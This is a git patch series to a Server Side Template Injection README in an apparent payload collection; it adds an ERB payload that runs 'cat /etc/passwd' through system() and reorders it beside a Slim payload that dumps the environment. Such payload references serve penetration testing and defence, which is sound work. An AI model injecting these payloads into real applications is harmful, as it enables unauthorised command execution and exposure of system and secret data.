From 7f1fb329806d038c52ec7457ba077faa23eff3c3 Mon Sep 17 00:00:00 2001 From: idealphase Date: Thu, 30 Apr 2020 17:13:58 +0700 Subject: [PATCH 1/2] Adding Execute code using SSTI for ERB engine. --- Server Side Template Injection/README.md | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/Server Side Template Injection/README.md b/Server Side Template Injection/README.md index 5998047..29ede3d 100644 --- a/Server Side Template Injection/README.md +++ b/Server Side Template Injection/README.md @@ -97,6 +97,12 @@ Execute code using SSTI for Slim engine. #{ %x|env| } ``` +Execute code using SSTI for ERB engine. + +```ruby +<%= system('cat /etc/passwd') %> +``` + ## Java ### Basic injection @@ -452,4 +458,4 @@ Fixed by https://github.com/HubSpot/jinjava/pull/230 * [Gaining Shell using Server Side Template Injection (SSTI) - David Valles - Aug 22, 2018](https://medium.com/@david.valles/gaining-shell-using-server-side-template-injection-ssti-81e29bb8e0f9) * [EXPLOITING SERVER SIDE TEMPLATE INJECTION WITH TPLMAP - BY: DIVINE SELORM TSA - 18 AUG 2018](https://www.owasp.org/images/7/7e/Owasp_SSTI_final.pdf) * [Server Side Template Injection – on the example of Pebble - MICHAŁ BENTKOWSKI | September 17, 2019](https://research.securitum.com/server-side-template-injection-on-the-example-of-pebble/) -* [Server-Side Template Injection (SSTI) in ASP.NET Razor - Clément Notin - 15 APR 2020](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/) \ No newline at end of file +* [Server-Side Template Injection (SSTI) in ASP.NET Razor - Clément Notin - 15 APR 2020](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/) From 712e3b93f6b39d70a302034caebf1503da307bc4 Mon Sep 17 00:00:00 2001 From: idealphase Date: Thu, 30 Apr 2020 17:15:31 +0700 Subject: [PATCH 2/2] Sorting like basic injection part --- Server Side Template Injection/README.md | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/Server Side Template Injection/README.md b/Server Side Template Injection/README.md index 29ede3d..687a319 100644 --- a/Server Side Template Injection/README.md +++ b/Server Side Template Injection/README.md @@ -91,17 +91,16 @@ Slim: ### Code execution -Execute code using SSTI for Slim engine. - -```powershell -#{ %x|env| } -``` - Execute code using SSTI for ERB engine. ```ruby <%= system('cat /etc/passwd') %> ``` +Execute code using SSTI for Slim engine. + +```powershell +#{ %x|env| } +``` ## Java